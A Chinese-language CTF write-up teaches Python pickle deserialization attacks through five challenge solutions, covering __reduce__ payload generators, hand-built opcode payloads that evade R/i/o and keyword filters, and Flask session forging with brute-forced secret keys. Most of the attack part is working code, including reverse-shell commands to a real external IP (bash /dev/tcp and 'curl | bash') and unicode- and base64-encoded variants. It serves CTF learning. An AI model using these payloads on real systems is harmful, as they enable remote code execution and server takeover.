CTF题型 Python中pickle反序列化进阶利用&opcode绕过 |
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CTF题型 pickle反序列化进阶&例题&opache绕过
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CTF题型 pickle反序列化进阶&例题&opache绕过一.基础的pickle反序列化例题1.[HFCTF 2021 Final]easyflask2.[0xgame 2023 Notebook]3.[[HZNUCTF 2023 preliminary\]pickle](https://www.nssctf.cn/problem/3611)
二.基于opcode绕过字节码过滤如何编写直接利用payload例题4.[[MTCTF 2022\]easypickle](https://www.nssctf.cn/problem/3464)5.[2021极客巅峰 opcode]
一.基础的pickle反序列化
pickle反序列化危害极大，不像php反序列化依赖恶意类和方法，而是直接可以RCE 关键代码 pickle.dumps(obj[, protocol]) 功能：将obj对象序列化为string形式，而不是存入文件中。 参数: obj：想要序列化的obj对象。 protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。 pickle.loads(string) 功能：从string中读出序列化前的obj对象。 参数: string：文件名称。 漏洞有关的魔术方法 __reduce__ 构造方法，在反序列化的时候自动执行，类似于php中的_wake_up __setstate__ 在反序列化时自动执行。它可以在对象从其序列化状态恢复时，对对象进行自定义的状态还原。 常用payload（没有os模块） import pickle import base64 class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('tac /flag').read()",)) a = A() a = pickle.dumps(a) print(base64.b64encode(a))环境有os模块 import pickle import os import base64 class aaa(): def __reduce__(self): return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',)) a= aaa() payload=pickle.dumps(a) payload=base64.b64encode(payload) print(payload) #注意payloads生成的shell脚本需要在目标机器操作系统上执行，否则会报错所以最好所有poc在linux上生成 例题 1.[HFCTF 2021 Final]easyflaskhttps://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask 非预期（任意文件读取）
直接读环境变量/proc/1/environ
预期解 app源码 #!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "*******" User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, }) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" @app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open(path, 'r') as fp: content = fp.read() return content @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?' if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)直接读环境变量/proc/1/environ 发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh 可以直接伪造secret_key
漏洞代码 @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?'伪造session实现 读取 u 中的 b值 对b中的值进行反序列化，可以直接触发RCE >flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh" 在linux系统下运行 import os import pickle import base64 User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',)) }) user=pickle.dumps(User()) print(base64.b64encode(user).decode())生成后伪造
用hackerbar发cookie触发
可以反弹shell 2.[0xgame 2023 Notebook]当时环境是给了源码 from flask import Flask, request, render_template, session import pickle import uuid import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(2).hex() class Note(object): def __init__(self, name, content): self._name = name self._content = content @property def name(self): return self._name @property def content(self): return self._content @app.route('/') def index(): return render_template('index.html') @app.route('/', methods=['GET']) def view_note(note_id): notes = session.get('notes') if not notes: return render_template('note.html', msg='You have no notes') note_raw = notes.get(note_id) if not note_raw: return render_template('note.html', msg='This note does not exist') note = pickle.loads(note_raw) return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content) @app.route('/add_note', methods=['POST']) def add_note(): note_name = request.form.get('note_name') note_content = request.form.get('note_content') if note_name == '' or note_content == '': return render_template('index.html', status='add_failed', msg='note name or content is empty') note_id = str(uuid.uuid4()) note = Note(note_name, note_content) if not session.get('notes'): session['notes'] = {} notes = session['notes'] notes[note_id] = pickle.dumps(note) session['notes'] = notes return render_template('index.html', status='add_success', note_id=note_id) @app.route('/delete_note', methods=['POST']) def delete_note(): note_id = request.form.get('note_id') if not note_id: return render_template('index.html') notes = session.get('notes') if not notes: return render_template('index.html', status='delete_failed', msg='You have no notes') if not notes.get(note_id): return render_template('index.html', status='delete_failed', msg='This note does not exist') del notes[note_id] session['notes'] = notes return render_template('index.html', status='delete_success') if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=False)题目分析： app.config['SECRET_KEY'] = os.urandom(2).hex() secret_key是弱密钥可以爆破 进行伪造 @app.route('/', methods=['GET']) def view_note(note_id): notes = session.get('notes') if not notes: return render_template('note.html', msg='You have no notes') note_raw = notes.get(note_id) if not note_raw: return render_template('note.html', msg='This note does not exist') note = pickle.loads(note_raw) return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)session伪造的结构{‘notes’:{‘note_id’:‘payload’}} 在/ 路由下 pickle.loads 触发反序列化 题目环境有os可以用os.system执行任意命令 具体操作 生成爆破密钥 import os while True: secret_key=os.urandom(2).hex() with open("Desktop/secret_key.txt","a") as f: f.write(secret_key+'\n')解析session C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported " {'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}爆破 secret_key flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt" --no-literal-eval
拿到 f991 linux下运行 题目环境有os模块 import pickle import os import base64 class aaa(): def __reduce__(self): return(os.system,('curl ip/1 |bash',)) a= aaa() payload=pickle.dumps(a) print(payload)
利用 curl 反弹shell（适用于bash/zsh） 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.' 要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}} flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"
可以弹回shell
非预期 /readFile?filename=/proc/1/environ flag在环境变量里 预期 关键代码 @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!"将os替换为空 用没有os的payload import pickle import base64 class A(object): def __reduce__(self): return (eval, ("__import__('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",)) a = A() a = pickle.dumps(a) print(base64.b64encode(a))直接反弹shell
对于一些题会对传入的数据进行过滤 例如 1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code 2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: 这个时候考虑用用到opcode Python中的pickle更像一门编程语言，一种基于栈的虚拟机 什么是opcode Python 的 opcode（operation code）是一组原始指令，用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符，代表一种特定的操作或指令。 在 Python 中，源代码首先被编译为字节码，然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中，并由Python 解释器按顺序解释和执行。 每个 opcode 都有其特定的功能，用于执行不同的操作，例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的 opcode，以支持各种操作和语言特性。 INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象 如何编写原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11 没有比这篇先知文章写的更好的 辅助生成工具pker：https://github.com/eddieivan01/pker 一般用于绕过 find_class 黑名单/白名单限制 pker用法 GLOBAL 对应opcode：b’c’ 获取module下的一个全局对象（没有import的也可以，比如下面的os）： GLOBAL(‘os’, ‘system’) 输入：module,instance(callable、module都是instance) INST 对应opcode：b’i’ 建立并入栈一个对象（可以执行一个函数）： INST(‘os’, ‘system’, ‘ls’) 输入：module,callable,para OBJ 对应opcode：b’o’ 建立并入栈一个对象（传入的第一个参数为callable，可以执行一个函数））： OBJ(GLOBAL(‘os’, ‘system’), ‘ls’) 输入：callable,para xxx(xx,…) 对应opcode：b’R’ 使用参数xx调用函数xxx（先将函数入栈，再将参数入栈并调用） li[0]=321 或 globals_dic[‘local_var’]=‘hello’ 对应opcode：b’s’ 更新列表或字典的某项的值 xx.attr=123 对应opcode：b’b’ 对xx对象进行属性设置 return 对应opcode：b’0’ 出栈（作为pickle.loads函数的返回值）： return xxx # 注意，一次只能返回一个对象或不返回对象（就算用逗号隔开，最后也只返回一个元组） 对于做题而言会opache改写就行了 INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象 直接利用payloadbase64后的数据过滤的关键词 RCE demo: R可用: b'''cos\nsystem\n(S'whoami'\ntR.''' i可用 b'''(S'whoami'\nios\nsystem\n.''' o可用 b'''(cos\nsystem\nS'whoami'\no.''' 特殊情况 无R,i,o 但是os可用 b'''(cos\nsystem\nS'calc'\nos.''' 无R,i,o os 可过 + 关键词过滤 b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.''' V操作码是可以识别\u (unicode编码绕过) 特别是命令有特殊功能字符易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理，易出错 可以直接拼接pickle数据（不用伪造flask-session的题） 直接将base64-decode数据最后的.去掉后贴payload直接打反弹shell 用python处理base64编码 import base64 opcode=b'''''' print(base64.b64encode(opcode)) 例题 4.[MTCTF 2022]easypickle当时题目环境给了源码的 import base64 import pickle from flask import Flask, session import os import random app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(2).hex() @app.route('/') def hello_world(): if not session.get('user'): session['user'] = ''.join(random.choices("admin", k=5)) return 'Hello {}!'.format(session['user']) @app.route('/admin') def admin(): if session.get('user') != "admin": return f"alert('Access Denied');window.location.href='/'" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!" if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)decode一下session
os.urandom(2).hex() 爆破session
爆破密钥为 dabe 构造类似的payload{'user':'admin','ser_data':'payload'} 漏洞代码 @app.route('/admin') def admin(): if session.get('user') != "admin": return f"alert('Access Denied');window.location.href='/'" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!"存在逻辑问题 替换后的 a 进行检查 R i o b 但是实际反序列化是ser_data 因此os中o可以存在，但是单独的o是被禁止的，因为os被替换成Os，但对后续ser_data不影响 bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'环境只有sh 将前面总结的payload改写一下 b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu 伪造session数据： {'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}易错 flask-unsign --sign --cookie "" 里面就不要用""包裹了 重要！！！会产生歧义
可以成功反弹shell 5.[2021极客巅峰 opcode] from flask import Flask from flask import request from flask import render_template from flask import session import base64 import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def loads(data): return RestrictedUnpickler(io.BytesIO(data)).load() app = Flask(__name__) app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32" @app.route('/admin', methods = ["POST","GET"]) def admin(): if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'): return "not admin" try: data = base64.b64decode(session['data']) if "R" in data.decode(): return "nonono" pickle.loads(data) except Exception as e: print(e) return "success" @app.route('/login', methods = ["GET","POST"]) def login(): username = request.form.get('username') password = request.form.get('password') imagePath = request.form.get('imagePath') session['username'] = username + password session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0)) try: f = open(imagePath,'rb').read() except Exception as e: f = open('static/image/error.png','rb').read() imageBase64 = base64.b64encode(f) return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64)) @app.route('/', methods = ["GET","POST"]) def index(): return render_template("index.html") if __name__ == '__main__': app.run(host='0.0.0.0', port='8888')注册后解码session
已知secret_key:y0u-wi11_neuer_kn0vv-!@#se%32可以进行伪造 关键过滤： if "R" in data.decode(): return "nonono"从其他方向回调函数即可 例如从i方向 b'''(S'bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1''\nios\nsystem\n.''' base64编码后 KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou 伪造session {'data': b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou', 'username': 'admin'}
可以成功反弹shell 以后有时间手写一遍分析pvm的原理 |
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